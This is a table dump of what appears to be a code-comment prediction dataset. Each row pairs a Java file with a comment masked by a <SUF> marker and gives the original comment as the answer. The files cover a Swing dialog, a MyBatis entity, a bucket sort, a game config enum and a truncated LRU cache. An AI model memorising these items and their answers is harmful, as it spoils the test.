file_id
stringlengths 5
9
| content
stringlengths 128
32.8k
| repo
stringlengths 9
63
| path
stringlengths 8
120
| token_length
int64 52
8.14k
| original_comment
stringlengths 5
1.83k
| comment_type
stringclasses 2
values | detected_lang
stringclasses 1
value | masked_comment
stringlengths 111
32.8k
| excluded
float64 0
1
⌀ | tmp
float64 5
1.83k
⌀ | test
float64 0
1
⌀ |
---|---|---|---|---|---|---|---|---|---|---|---|
43668_5 | import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
/**
* 显示帮助信息的对话框
*/
public class HelpDialog extends JDialog implements ActionListener {
// 确认按钮
private JButton okay;
// 取消按钮
private JButton cancel;
public HelpDialog(Frame parent,String title) {
super(parent,title,true); //不可缺少true
addText();
okay.addActionListener(this);
cancel.addActionListener(this);
pack();
show();
}
// 显示面板
public void addText() {
setLocation(300, 210);
okay = new JButton("确认");
cancel = new JButton("取消");
Panel button = new Panel();
button.setLayout(new FlowLayout());
button.add(okay);
button.add(cancel);
setLayout(new GridLayout(5,1));
add(new Label("传教士野人过河问题是一个经典的人工智能问题,问题描述如下:"));
add(new Label("有N个传教士和N个野人过河,只有一条能装下K个人(包括野人)的船,K<N,"));
add(new Label("在河的任何一方或者船上,如果有野人和传教士在一起,必须要求传教士的人数多于或等于野人的人数。"));
add(new Label("本程序使用A*搜索算法实现求解传教士野人过河问题,对任意N、K有解时给出其解决方案。"));
add(button);
}
// 监听事件
public void actionPerformed(ActionEvent ae) {
//隐藏对话框
dispose();
}
}; | DolphinHome/java-mc-astar | src/HelpDialog.java | 397 | // 监听事件 | line_comment | zh-cn | import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
/**
* 显示帮助信息的对话框
*/
public class HelpDialog extends JDialog implements ActionListener {
// 确认按钮
private JButton okay;
// 取消按钮
private JButton cancel;
public HelpDialog(Frame parent,String title) {
super(parent,title,true); //不可缺少true
addText();
okay.addActionListener(this);
cancel.addActionListener(this);
pack();
show();
}
// 显示面板
public void addText() {
setLocation(300, 210);
okay = new JButton("确认");
cancel = new JButton("取消");
Panel button = new Panel();
button.setLayout(new FlowLayout());
button.add(okay);
button.add(cancel);
setLayout(new GridLayout(5,1));
add(new Label("传教士野人过河问题是一个经典的人工智能问题,问题描述如下:"));
add(new Label("有N个传教士和N个野人过河,只有一条能装下K个人(包括野人)的船,K<N,"));
add(new Label("在河的任何一方或者船上,如果有野人和传教士在一起,必须要求传教士的人数多于或等于野人的人数。"));
add(new Label("本程序使用A*搜索算法实现求解传教士野人过河问题,对任意N、K有解时给出其解决方案。"));
add(button);
}
// 监听 <SUF>
public void actionPerformed(ActionEvent ae) {
//隐藏对话框
dispose();
}
}; | 1 | 7 | 1 |
61154_2 | package com.ljm.boot.mybatisplus.entity;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Getter;
import lombok.Setter;
/**
* @description
* @author Dominick Li
* @createTime 2023-02-07
**/
@Getter
@Setter
@TableName("sys_users")
public class SysUsers extends BaseEntity {
private static final long serialVersionUID = 1L;
/**
* 用户名
*/
@TableField("username")
private String username;
/**
* 密码
*/
@TableField("password")
private String password;
/**
* 年纪
*/
@TableField("grade")
private Integer grade;
}
| Dominick-Li/springboot-master | 14_mybatis_plus/src/main/java/com/ljm/boot/mybatisplus/entity/SysUsers.java | 181 | /**
* 密码
*/ | block_comment | zh-cn | package com.ljm.boot.mybatisplus.entity;
import com.baomidou.mybatisplus.annotation.TableField;
import com.baomidou.mybatisplus.annotation.TableName;
import lombok.Getter;
import lombok.Setter;
/**
* @description
* @author Dominick Li
* @createTime 2023-02-07
**/
@Getter
@Setter
@TableName("sys_users")
public class SysUsers extends BaseEntity {
private static final long serialVersionUID = 1L;
/**
* 用户名
*/
@TableField("username")
private String username;
/**
* 密码
<SUF>*/
@TableField("password")
private String password;
/**
* 年纪
*/
@TableField("grade")
private Integer grade;
}
| 0 | 21 | 0 |
23069_5 | package datastructure.sort;
import java.util.ArrayList;
import java.util.List;
/**
* @author donald
* @date 2022/08/12
*/
public class BucketSort {
private int bucketSize;
public BucketSort(int bucketSize) {
this.bucketSize = bucketSize;
}
// Time(avg): O(n+k), Time(worst): O(n^2), Space: O(n)
public void sort(int[] arr) {
if (arr == null || arr.length == 0) return;
int max = arr[0], min = arr[0];
// 计算最大值和最小值
for (int num : arr) {
if (num > max) max = num;
if (num < min) min = num;
}
// 桶的数量 = 数组长度 / 桶大小
int bucketCount = arr.length / bucketSize;
List<List<Integer>> buckets = new ArrayList<>(bucketCount);
for (int i = 0; i < bucketCount; ++i)
buckets.add(new ArrayList<>());
for (int num : arr) {
// 计算放在哪个桶中
int idx = (int) ((num - min) / (max - min + 1.0) * bucketCount);
buckets.get(idx).add(num);
}
int idx = 0;
for (List<Integer> bucket : buckets) {
insertionSort(bucket); // 桶内:插入排序
for (int num : bucket) { // 再放入结果中
arr[idx++] = num;
}
}
}
private void insertionSort(List<Integer> arr) {
if (arr == null || arr.size() == 0) return;
for (int i = 1; i < arr.size(); ++i) {
int cur = arr.get(i);
int j = i - 1;
while (j >= 0 && arr.get(j) > cur) { // 先找一个合适的位置
arr.set(j + 1, arr.get(j));
--j;
}
// 找到合适的位置,放下
arr.set(j + 1, cur);
}
}
}
| DonaldY/LeetCode-Practice | src/main/java/datastructure/sort/BucketSort.java | 532 | // 桶内:插入排序 | line_comment | zh-cn | package datastructure.sort;
import java.util.ArrayList;
import java.util.List;
/**
* @author donald
* @date 2022/08/12
*/
public class BucketSort {
private int bucketSize;
public BucketSort(int bucketSize) {
this.bucketSize = bucketSize;
}
// Time(avg): O(n+k), Time(worst): O(n^2), Space: O(n)
public void sort(int[] arr) {
if (arr == null || arr.length == 0) return;
int max = arr[0], min = arr[0];
// 计算最大值和最小值
for (int num : arr) {
if (num > max) max = num;
if (num < min) min = num;
}
// 桶的数量 = 数组长度 / 桶大小
int bucketCount = arr.length / bucketSize;
List<List<Integer>> buckets = new ArrayList<>(bucketCount);
for (int i = 0; i < bucketCount; ++i)
buckets.add(new ArrayList<>());
for (int num : arr) {
// 计算放在哪个桶中
int idx = (int) ((num - min) / (max - min + 1.0) * bucketCount);
buckets.get(idx).add(num);
}
int idx = 0;
for (List<Integer> bucket : buckets) {
insertionSort(bucket); // 桶内 <SUF>
for (int num : bucket) { // 再放入结果中
arr[idx++] = num;
}
}
}
private void insertionSort(List<Integer> arr) {
if (arr == null || arr.size() == 0) return;
for (int i = 1; i < arr.size(); ++i) {
int cur = arr.get(i);
int j = i - 1;
while (j >= 0 && arr.get(j) > cur) { // 先找一个合适的位置
arr.set(j + 1, arr.get(j));
--j;
}
// 找到合适的位置,放下
arr.set(j + 1, cur);
}
}
}
| 0 | 10 | 0 |
53422_8 | package com.game.utils;
public enum CommonConfig {
/**
* 第一次跳跃消耗体力
*/
FIRST_JUMP_RESUM(1),
/**
* 第二次跳跃消耗体力
*/
SECOND_JUMP_RESUM(2),
/**
* 跳跃冷确时间
*/
JUMP_COOLDOWN(3),
/**
* 内力盾每秒消耗内力值比例(万分比)
*/
SHIELD_RESUM_PS(4),
/**
* 内力盾减免所受攻击伤害比例(万分比
*/
SHIELD_REDUCTION(5),
/**
* 内力盾造成的攻击伤害的系数(所消耗内力值*本系数)
*/
SHIELD_ATTACK_FACTOR(6),
/**
* 人物真气获得上限
*/
ZHENGQI_MAX(7),
/**
* 战场声望获得上限
*/
BATTLE_FAME_MAX(8),
/**
* 顶级强化装备佩戴时将装备设为绑定(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INTENSIFY_USEBIND(9),
/**
* 顶级镶嵌装备佩戴将装备设为绑定(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INLAY_USEBIND(10),
/**
* 紫色装备佩戴时将装备设为绑定(0不生效,1生效)
*/
EQUIP_PURPLE_USEBIND(11),
/**
* 顶级强化装备卖给商店时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INTENSIFY_SELLCONFIRM(12),
/**
* 顶级镶嵌装备卖给商店时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INLAY_SELLCONFIRM(13),
/**
* 紫色装备卖给商店时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_PURPLE_SELLCONFIRM(14),
/**
* 顶级强化装备丢弃时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INTENSIFY_CHUCKCONFIRM(15),
/**
* 顶级镶嵌装备丢弃时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INLAY_CHUCKCONFIRM(16),
/**
* 紫色装备丢弃时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_PURPLE_CHUCKCONFIRM(17),
/**
* 背包面板上的商店按钮显示所需人物等级
*/
BAG_BUTTON_SHOP_NEED_GRADE(18),
/**
* 背包面板上的仓库按钮显示所需人物等级
*/
BAG_BUTTON_STORE_NEED_GRADE(19),
/**
* 背包面板上的随身摊位按钮显示所需人物等级
*/
BAG_BUTTON_BOOTH_NEED_GRADE(20),
/**
* 背包面板上的获取元宝按钮点击后打开网址
*/
BAG_RECHARGE_URL(21),
/**
* 小怪怪物尸体的消失时间,单位秒
*/
DISAPPEAR_TIME_MONSTER_CORPSE(22),
/**
* 小怪掉出物品的消失时间,单位秒
*/
DISAPPEAR_TIME_MONSTER_DROP(23),
/**
* BOSS尸体的消失时间,单位秒
*/
DISAPPEAR_TIME_BOSS_CORPSE(24),
/**
* BOSS掉出物品的消失时间,单位秒
*/
DISAPPEAR_TIME_BOSS_DROP(25),
/**
* 1RMB = 10元宝 元宝商城面板上显示的充值比率文字描述
*/
RMB_EXCHANGE_RATE_DESC(26),
/**
* 背包面板上的获取元宝按钮点击后打开网址
*/
SHOP_RECHARGE_URL(27),
/**
* 自动禁言检测的时间跨度(单位:秒)
*/
PROHIBIT_TALK_CHECK_STEP(28),
/**
* 自动禁言检测被加入黑名单的次数
*/
PROHIBIT_TALK_ADD_BLACKLIST_COUNT(29),
/**
* 自动禁言的用户等级上限
*/
PROHIBIT_TALK_ROLE_MAX_GRADE(30),
/**
* 自动禁言持续时间(单位:秒)
*/
PROHIBIT_TALK_TIME(31),
/**
* 免费原地复活所限人物等级设定为
*/
FREE_RELIVE_MAX_GRADE(32),
/**
* 主界面主操作栏按钮,人物:
*/
MAIN_BUTTON_ROLE(33),
/**
* 主界面主操作栏按钮,背包:
*/
MAIN_BUTTON_BAG(34),
/**
* 主界面主操作栏按钮,技能
*/
MAIN_BUTTON_SKILL(35),
/**
* 主界面主操作栏按钮,美人:
*/
MAIN_BUTTON_ESCRAVAS(36),
/**
* 主界面主操作栏按钮,任务:
*/
MAIN_BUTTON_TASK(37),
/**
* 主界面主操作栏按钮,队伍:
*/
MAIN_BUTTON_TEAM(38),
/**
* 主界面主操作栏按钮,好友:
*/
MAIN_BUTTON_FRIEND(39),
/**
* 主界面主操作栏按钮,帮会:
*/
MAIN_BUTTON_GROUP(40),
/**
* 主界面主操作栏按钮,设置:
*/
MAIN_BUTTON_SETTING(41),
/**
* 主界面主操作栏按钮,商城:
*/
MIAN_BUTTON_SHOP(42),
/**
* 主界面快捷操作栏按钮,打坐:
*/
MAIN_BUTTON_DAZHUO(43),
/**
* 主界面快捷操作栏按钮,骑乘:
*/
MAIN_BUTTON_MOUNT(44),
/**
* 主界面快捷操作栏按钮,设挂:
*/
MAIN_BUTTON_AUTO_SETTING(45),
/**
* 主界面快捷操作栏按钮,挂机:
*/
MAIN_BUTTON_AUTO(46),
/**
* 主界面雷达地图周边按钮,隐藏:
*/
RADAR_BUTTON_HIDDEN(47),
/**
* 主界面雷达地图周边按钮,音乐:
*/
RADAR_BUTTON_SOUND(48),
/**
* 主界面雷达地图周边按钮,成就:
*/
RADAR_BUTTON_ACHIEVE(49),
/**
* 主界面雷达地图周边按钮,排行榜:
*/
RADAR_BUTTON_RANKINGLIST(50),
/**
* 主界面雷达地图周边按钮,地图:
*/
RADAR_BUTTON_MAP(51),
/**
* 主界面雷达地图周边按钮,引导:
*/
RADAR_BUTTON_LEAD(52),
/**
* 主界面雷达地图周边按钮,商城:
*/
RADAR_BUTTON_SHOP(53),
/**
* 人物属性面板境界图片,境界:
*/
ROLEINFO_PANEL_JINGJIE(54),
/**
* 包裹默认开启的格子数
*/
BAG_CELLS_DEFAULT(55),
/**
* 包裹最大开格数量
*/
BAG_CELLS_MAX(56),
/**
* 包裹默认开启的格子数
*/
STORE_CELLS_DEFAULT(57),
/**
* 包裹最大开格数量
*/
STORE_CELLS_MAX(58),
/**
* 整理仓库和包裹的时间间隔(秒)
*/
BAG_STORE_CLEARUP_TIME_INTERVAL(59),
/**
* 语言区域
*/
LANGUAGE(60),
/**
* 最大概率系数
*/
BASE_PROB(61),
/**
* 最小跳跃时间(毫秒)
*/
JUMP_MINCD(62),
// 点绛唇最大允许次数
DIANJIANGCHUN_MAXCOUNT(63),
// 点绛唇最大免费改运次数
DIANJIANGCHUN_FREECHANGELUCK_MAXCOUNT(64),
// 点绛唇改运元宝数
DIANJIANGCHUN_RMB_COUNT(65),
// 点绛唇色子几率1
DIANJIANGCHUN_COF1(66),
// 点绛唇色子几率2
DIANJIANGCHUN_COF2(67),
// 点绛唇色子几率3
DIANJIANGCHUN_COF3(68),
// 点绛唇色子几率4
DIANJIANGCHUN_COF4(69),
// 点绛唇色子几率5
DIANJIANGCHUN_COF5(70),
// 点绛唇色子几率6
DIANJIANGCHUN_COF6(71),
// 军衔系统可用技能链表
RANK_SKILL_LIST(72),
//TODO 系统参数缺少
/**
* 每日真气丹获取真气上限
*/
DAY_ZHENQIDAN_ZQTOP(111),
/**
* 每日修为丹获取经验上限
*/
DAY_XIUWEIDAN_EXPTOP(112),
/**
* 攻城战 弩箭
*/
SIEGE_CRISSBOW (113),
/**
* 攻城战 投石车
*/
SIEGE_CATAPULTS (114),
/**
* 攻城战 发射火炮需要铜币
*/
SIEGE_MONEY (115),
/**
* 王帮成员经验加成系数
*/
KINGCITY_EXPCOF(116),
/**
* 王帮成员打坐速度计算加成
*/
KINGCITY_DAZUOSPEEDADDCOF(117),
/**
* 王帮成员组队状态,杀怪血量百分比<20%,修正系数
*/
KINGCITY_KILLMONSTER20COF(118),
/**
* 王帮成员组队状态,20%<=杀怪血量<40%,修正系数
*/
KINGCITY_KILLMONSTER40COF(119),
/**
* 王帮成员组队状态,40%<=杀怪血量<70%,修正系数
*/
KINGCITY_KILLMONSTER70COF(120),
/**
* 王帮成员组队状态,70%<=杀怪血量,修正系数
*/
KINGCITY_KILLMONSTER100COF(121),
/**
* 获得王帮成员BUFF限制时间
*/
KINGCITY_GETBUFFLIMITTIME(122),
/**王城刷怪坐标
*
*/
SIEGE_BRUSH_XY (123),
/**王城刷怪ID和数量
*
*/
SIEGE_MON (124),
/**王城刷道具坐标
*
*/
SIEGE_ITEM_XY (126),
/**王城刷道具ID
*
*/
SIEGE_ITEM (127),
/**领地争夺战,地图列表
*
*/
GUILD_FLAG_MAP (128),
/**领地争夺战,插旗需要的帮贡金币
*
*/
GUILD_FLAG_GOLD (129),
/**领地争夺战,旗帜怪物ID
*
*/
GUILD_FLAG_MONID (130),
// 香唇获得真气值
DIANJIANGCHUN_CHUN(131),
// 香蕉获得真气值
DIANJIANGCHUN_XIANGJIAO(132),
// 葡萄获得真气值
DIANJIANGCHUN_PUTOU(133),
// 橘子获得真气值
DIANJIANGCHUN_JUZI(134),
// 芒果获得真气值
DIANJIANGCHUN_MANGGUO(135),
// 黄瓜获得真气值
DIANJIANGCHUN_HUANGGUA(136),
/**签到工资面板,隔多少时间可摇奖,分钟
*
*/
ERNIE_INTERVAL(137),
//打坐双倍时间
DOUBLEXP_DAZUO (139),
//打怪双倍时间
DOUBLEXP_MON (140),
//熔炼花费元宝
METING_GOLD (141),
//熔炼花费铜币
METING_MONEY (142),
//轮盘外圈物品落入倾向概率增幅参数:1
CHESTBOX_ADDDROPINCOF (143),
//默认轮盘外圈落入位置概率参数:1
CHESTBOX_DEFDROPINCOF (144),
//倾向格子数:3(最大为12)
CHESTBOX_DROPGRIDNUM (145),
//开宝箱需要元宝
CHESTBOX_OPENCHESTBOXNEEDYUANBAO (146),
//开宝箱需要物品
CHESTBOX_OPENCHESTBOXNEEDITEM (147),
// /**
// * 触发自动禁言最高等级
// */
// AUTOPROHIBIT_LEVEL(141),
// /**
// * 触发自动禁言聊天内容长度
// */
// AUTOPROHIBIT_LENGTH(142),
// /**
// * 自动禁言记录时长
// */
// AUTOPROHIBIT_TIME(143),
// /**
// * 禁言时长
// */
// AUTOPROHIBIT_PROHIBITTIME(144),
// /**
// * 自动禁言相似重复次数
// */
// AUTOPROHIBIT_COUNT(145),
// /**
// * 自动禁言相似度
// */
// AUTOPROHIBIT_SEMBLANCE(146),
/**
* 攻城战 超级弩箭
*/
SIEGE_SUPRE_CRISSBOW (169),
/**
* 攻城战 超级投石车
*/
SIEGE_SUPRE_CATAPULTS (170),
/**
* 攻城战 超级车需要铜币
*/
SIEGE_SUPRE_MONEY (171),
/**
* 最大跳跃速度
*/
JUMP_MAX_SPEED (172),
/**
* 年兽击杀前三名的奖励
*/
SPRING_MONSTER_PRIZE_1 (173),
SPRING_MONSTER_PRIZE_2 (174),
SPRING_MONSTER_PRIZE_3 (175),
/**婚戒价格
*
*/
WEDDING_RING (176),
/**申请婚宴价格
*
*/
WEDDING_PRICE (177),
/**参加婚宴红包数量的下限
*
*/
WEDDING_LEAST_RED (178),
/**婚宴刷新坐标
*
*/
WEDDING_XY (179),
/**并蒂连枝技能补充数值百分比
*
*/
WEDDING_BDLZ (180),
/**2级密码排除平台列表
*
*/
PROTECT (182),
/**
* 枚举最大值
*/
MAX_VALUE(999999);
private int value;
public int getValue() {
return value;
}
private CommonConfig(int value) {
this.value = value;
}
} | DongHuaLu/QMR | QMRServer/src/com/game/utils/CommonConfig.java | 4,397 | /**
* 顶级强化装备佩戴时将装备设为绑定(0不生效,1生效)
*/ | block_comment | zh-cn | package com.game.utils;
public enum CommonConfig {
/**
* 第一次跳跃消耗体力
*/
FIRST_JUMP_RESUM(1),
/**
* 第二次跳跃消耗体力
*/
SECOND_JUMP_RESUM(2),
/**
* 跳跃冷确时间
*/
JUMP_COOLDOWN(3),
/**
* 内力盾每秒消耗内力值比例(万分比)
*/
SHIELD_RESUM_PS(4),
/**
* 内力盾减免所受攻击伤害比例(万分比
*/
SHIELD_REDUCTION(5),
/**
* 内力盾造成的攻击伤害的系数(所消耗内力值*本系数)
*/
SHIELD_ATTACK_FACTOR(6),
/**
* 人物真气获得上限
*/
ZHENGQI_MAX(7),
/**
* 战场声望获得上限
*/
BATTLE_FAME_MAX(8),
/**
* 顶级强 <SUF>*/
EQUIP_TOPLEVEL_INTENSIFY_USEBIND(9),
/**
* 顶级镶嵌装备佩戴将装备设为绑定(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INLAY_USEBIND(10),
/**
* 紫色装备佩戴时将装备设为绑定(0不生效,1生效)
*/
EQUIP_PURPLE_USEBIND(11),
/**
* 顶级强化装备卖给商店时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INTENSIFY_SELLCONFIRM(12),
/**
* 顶级镶嵌装备卖给商店时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INLAY_SELLCONFIRM(13),
/**
* 紫色装备卖给商店时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_PURPLE_SELLCONFIRM(14),
/**
* 顶级强化装备丢弃时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INTENSIFY_CHUCKCONFIRM(15),
/**
* 顶级镶嵌装备丢弃时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_TOPLEVEL_INLAY_CHUCKCONFIRM(16),
/**
* 紫色装备丢弃时弹出二次确认面板提示(0不生效,1生效)
*/
EQUIP_PURPLE_CHUCKCONFIRM(17),
/**
* 背包面板上的商店按钮显示所需人物等级
*/
BAG_BUTTON_SHOP_NEED_GRADE(18),
/**
* 背包面板上的仓库按钮显示所需人物等级
*/
BAG_BUTTON_STORE_NEED_GRADE(19),
/**
* 背包面板上的随身摊位按钮显示所需人物等级
*/
BAG_BUTTON_BOOTH_NEED_GRADE(20),
/**
* 背包面板上的获取元宝按钮点击后打开网址
*/
BAG_RECHARGE_URL(21),
/**
* 小怪怪物尸体的消失时间,单位秒
*/
DISAPPEAR_TIME_MONSTER_CORPSE(22),
/**
* 小怪掉出物品的消失时间,单位秒
*/
DISAPPEAR_TIME_MONSTER_DROP(23),
/**
* BOSS尸体的消失时间,单位秒
*/
DISAPPEAR_TIME_BOSS_CORPSE(24),
/**
* BOSS掉出物品的消失时间,单位秒
*/
DISAPPEAR_TIME_BOSS_DROP(25),
/**
* 1RMB = 10元宝 元宝商城面板上显示的充值比率文字描述
*/
RMB_EXCHANGE_RATE_DESC(26),
/**
* 背包面板上的获取元宝按钮点击后打开网址
*/
SHOP_RECHARGE_URL(27),
/**
* 自动禁言检测的时间跨度(单位:秒)
*/
PROHIBIT_TALK_CHECK_STEP(28),
/**
* 自动禁言检测被加入黑名单的次数
*/
PROHIBIT_TALK_ADD_BLACKLIST_COUNT(29),
/**
* 自动禁言的用户等级上限
*/
PROHIBIT_TALK_ROLE_MAX_GRADE(30),
/**
* 自动禁言持续时间(单位:秒)
*/
PROHIBIT_TALK_TIME(31),
/**
* 免费原地复活所限人物等级设定为
*/
FREE_RELIVE_MAX_GRADE(32),
/**
* 主界面主操作栏按钮,人物:
*/
MAIN_BUTTON_ROLE(33),
/**
* 主界面主操作栏按钮,背包:
*/
MAIN_BUTTON_BAG(34),
/**
* 主界面主操作栏按钮,技能
*/
MAIN_BUTTON_SKILL(35),
/**
* 主界面主操作栏按钮,美人:
*/
MAIN_BUTTON_ESCRAVAS(36),
/**
* 主界面主操作栏按钮,任务:
*/
MAIN_BUTTON_TASK(37),
/**
* 主界面主操作栏按钮,队伍:
*/
MAIN_BUTTON_TEAM(38),
/**
* 主界面主操作栏按钮,好友:
*/
MAIN_BUTTON_FRIEND(39),
/**
* 主界面主操作栏按钮,帮会:
*/
MAIN_BUTTON_GROUP(40),
/**
* 主界面主操作栏按钮,设置:
*/
MAIN_BUTTON_SETTING(41),
/**
* 主界面主操作栏按钮,商城:
*/
MIAN_BUTTON_SHOP(42),
/**
* 主界面快捷操作栏按钮,打坐:
*/
MAIN_BUTTON_DAZHUO(43),
/**
* 主界面快捷操作栏按钮,骑乘:
*/
MAIN_BUTTON_MOUNT(44),
/**
* 主界面快捷操作栏按钮,设挂:
*/
MAIN_BUTTON_AUTO_SETTING(45),
/**
* 主界面快捷操作栏按钮,挂机:
*/
MAIN_BUTTON_AUTO(46),
/**
* 主界面雷达地图周边按钮,隐藏:
*/
RADAR_BUTTON_HIDDEN(47),
/**
* 主界面雷达地图周边按钮,音乐:
*/
RADAR_BUTTON_SOUND(48),
/**
* 主界面雷达地图周边按钮,成就:
*/
RADAR_BUTTON_ACHIEVE(49),
/**
* 主界面雷达地图周边按钮,排行榜:
*/
RADAR_BUTTON_RANKINGLIST(50),
/**
* 主界面雷达地图周边按钮,地图:
*/
RADAR_BUTTON_MAP(51),
/**
* 主界面雷达地图周边按钮,引导:
*/
RADAR_BUTTON_LEAD(52),
/**
* 主界面雷达地图周边按钮,商城:
*/
RADAR_BUTTON_SHOP(53),
/**
* 人物属性面板境界图片,境界:
*/
ROLEINFO_PANEL_JINGJIE(54),
/**
* 包裹默认开启的格子数
*/
BAG_CELLS_DEFAULT(55),
/**
* 包裹最大开格数量
*/
BAG_CELLS_MAX(56),
/**
* 包裹默认开启的格子数
*/
STORE_CELLS_DEFAULT(57),
/**
* 包裹最大开格数量
*/
STORE_CELLS_MAX(58),
/**
* 整理仓库和包裹的时间间隔(秒)
*/
BAG_STORE_CLEARUP_TIME_INTERVAL(59),
/**
* 语言区域
*/
LANGUAGE(60),
/**
* 最大概率系数
*/
BASE_PROB(61),
/**
* 最小跳跃时间(毫秒)
*/
JUMP_MINCD(62),
// 点绛唇最大允许次数
DIANJIANGCHUN_MAXCOUNT(63),
// 点绛唇最大免费改运次数
DIANJIANGCHUN_FREECHANGELUCK_MAXCOUNT(64),
// 点绛唇改运元宝数
DIANJIANGCHUN_RMB_COUNT(65),
// 点绛唇色子几率1
DIANJIANGCHUN_COF1(66),
// 点绛唇色子几率2
DIANJIANGCHUN_COF2(67),
// 点绛唇色子几率3
DIANJIANGCHUN_COF3(68),
// 点绛唇色子几率4
DIANJIANGCHUN_COF4(69),
// 点绛唇色子几率5
DIANJIANGCHUN_COF5(70),
// 点绛唇色子几率6
DIANJIANGCHUN_COF6(71),
// 军衔系统可用技能链表
RANK_SKILL_LIST(72),
//TODO 系统参数缺少
/**
* 每日真气丹获取真气上限
*/
DAY_ZHENQIDAN_ZQTOP(111),
/**
* 每日修为丹获取经验上限
*/
DAY_XIUWEIDAN_EXPTOP(112),
/**
* 攻城战 弩箭
*/
SIEGE_CRISSBOW (113),
/**
* 攻城战 投石车
*/
SIEGE_CATAPULTS (114),
/**
* 攻城战 发射火炮需要铜币
*/
SIEGE_MONEY (115),
/**
* 王帮成员经验加成系数
*/
KINGCITY_EXPCOF(116),
/**
* 王帮成员打坐速度计算加成
*/
KINGCITY_DAZUOSPEEDADDCOF(117),
/**
* 王帮成员组队状态,杀怪血量百分比<20%,修正系数
*/
KINGCITY_KILLMONSTER20COF(118),
/**
* 王帮成员组队状态,20%<=杀怪血量<40%,修正系数
*/
KINGCITY_KILLMONSTER40COF(119),
/**
* 王帮成员组队状态,40%<=杀怪血量<70%,修正系数
*/
KINGCITY_KILLMONSTER70COF(120),
/**
* 王帮成员组队状态,70%<=杀怪血量,修正系数
*/
KINGCITY_KILLMONSTER100COF(121),
/**
* 获得王帮成员BUFF限制时间
*/
KINGCITY_GETBUFFLIMITTIME(122),
/**王城刷怪坐标
*
*/
SIEGE_BRUSH_XY (123),
/**王城刷怪ID和数量
*
*/
SIEGE_MON (124),
/**王城刷道具坐标
*
*/
SIEGE_ITEM_XY (126),
/**王城刷道具ID
*
*/
SIEGE_ITEM (127),
/**领地争夺战,地图列表
*
*/
GUILD_FLAG_MAP (128),
/**领地争夺战,插旗需要的帮贡金币
*
*/
GUILD_FLAG_GOLD (129),
/**领地争夺战,旗帜怪物ID
*
*/
GUILD_FLAG_MONID (130),
// 香唇获得真气值
DIANJIANGCHUN_CHUN(131),
// 香蕉获得真气值
DIANJIANGCHUN_XIANGJIAO(132),
// 葡萄获得真气值
DIANJIANGCHUN_PUTOU(133),
// 橘子获得真气值
DIANJIANGCHUN_JUZI(134),
// 芒果获得真气值
DIANJIANGCHUN_MANGGUO(135),
// 黄瓜获得真气值
DIANJIANGCHUN_HUANGGUA(136),
/**签到工资面板,隔多少时间可摇奖,分钟
*
*/
ERNIE_INTERVAL(137),
//打坐双倍时间
DOUBLEXP_DAZUO (139),
//打怪双倍时间
DOUBLEXP_MON (140),
//熔炼花费元宝
METING_GOLD (141),
//熔炼花费铜币
METING_MONEY (142),
//轮盘外圈物品落入倾向概率增幅参数:1
CHESTBOX_ADDDROPINCOF (143),
//默认轮盘外圈落入位置概率参数:1
CHESTBOX_DEFDROPINCOF (144),
//倾向格子数:3(最大为12)
CHESTBOX_DROPGRIDNUM (145),
//开宝箱需要元宝
CHESTBOX_OPENCHESTBOXNEEDYUANBAO (146),
//开宝箱需要物品
CHESTBOX_OPENCHESTBOXNEEDITEM (147),
// /**
// * 触发自动禁言最高等级
// */
// AUTOPROHIBIT_LEVEL(141),
// /**
// * 触发自动禁言聊天内容长度
// */
// AUTOPROHIBIT_LENGTH(142),
// /**
// * 自动禁言记录时长
// */
// AUTOPROHIBIT_TIME(143),
// /**
// * 禁言时长
// */
// AUTOPROHIBIT_PROHIBITTIME(144),
// /**
// * 自动禁言相似重复次数
// */
// AUTOPROHIBIT_COUNT(145),
// /**
// * 自动禁言相似度
// */
// AUTOPROHIBIT_SEMBLANCE(146),
/**
* 攻城战 超级弩箭
*/
SIEGE_SUPRE_CRISSBOW (169),
/**
* 攻城战 超级投石车
*/
SIEGE_SUPRE_CATAPULTS (170),
/**
* 攻城战 超级车需要铜币
*/
SIEGE_SUPRE_MONEY (171),
/**
* 最大跳跃速度
*/
JUMP_MAX_SPEED (172),
/**
* 年兽击杀前三名的奖励
*/
SPRING_MONSTER_PRIZE_1 (173),
SPRING_MONSTER_PRIZE_2 (174),
SPRING_MONSTER_PRIZE_3 (175),
/**婚戒价格
*
*/
WEDDING_RING (176),
/**申请婚宴价格
*
*/
WEDDING_PRICE (177),
/**参加婚宴红包数量的下限
*
*/
WEDDING_LEAST_RED (178),
/**婚宴刷新坐标
*
*/
WEDDING_XY (179),
/**并蒂连枝技能补充数值百分比
*
*/
WEDDING_BDLZ (180),
/**2级密码排除平台列表
*
*/
PROTECT (182),
/**
* 枚举最大值
*/
MAX_VALUE(999999);
private int value;
public int getValue() {
return value;
}
private CommonConfig(int value) {
this.value = value;
}
} | 0 | 39 | 0 |
38345_5 | import java.util.HashMap;
/**
* LRU算法 最近最常使用算法,内存加载
*/
public class LRU {
public static class Node<V> {
public Node<V> pre;
public Node<V> next;
public V value;
public Node(V value) {
this.value = value;
}
}
public static class MyCache<K, V> {
//map可保证为(1)的查询对应关系
private HashMap<K, Node<V>> keyNodeMap;
private NodeDoubleLinkedList<V> nodeList;
private int capacity;
public MyCache(int capacity) {
if (capacity < 1) {
new RuntimeException("should be more than 1 ");
}
this.capacity = capacity;
this.keyNodeMap = new HashMap<>();
this.nodeList = new NodeDoubleLinkedList<>();
}
public V get(K key) {
if (this.keyNodeMap.containsKey(key)) {
Node<V> res = this.keyNodeMap.get(key);
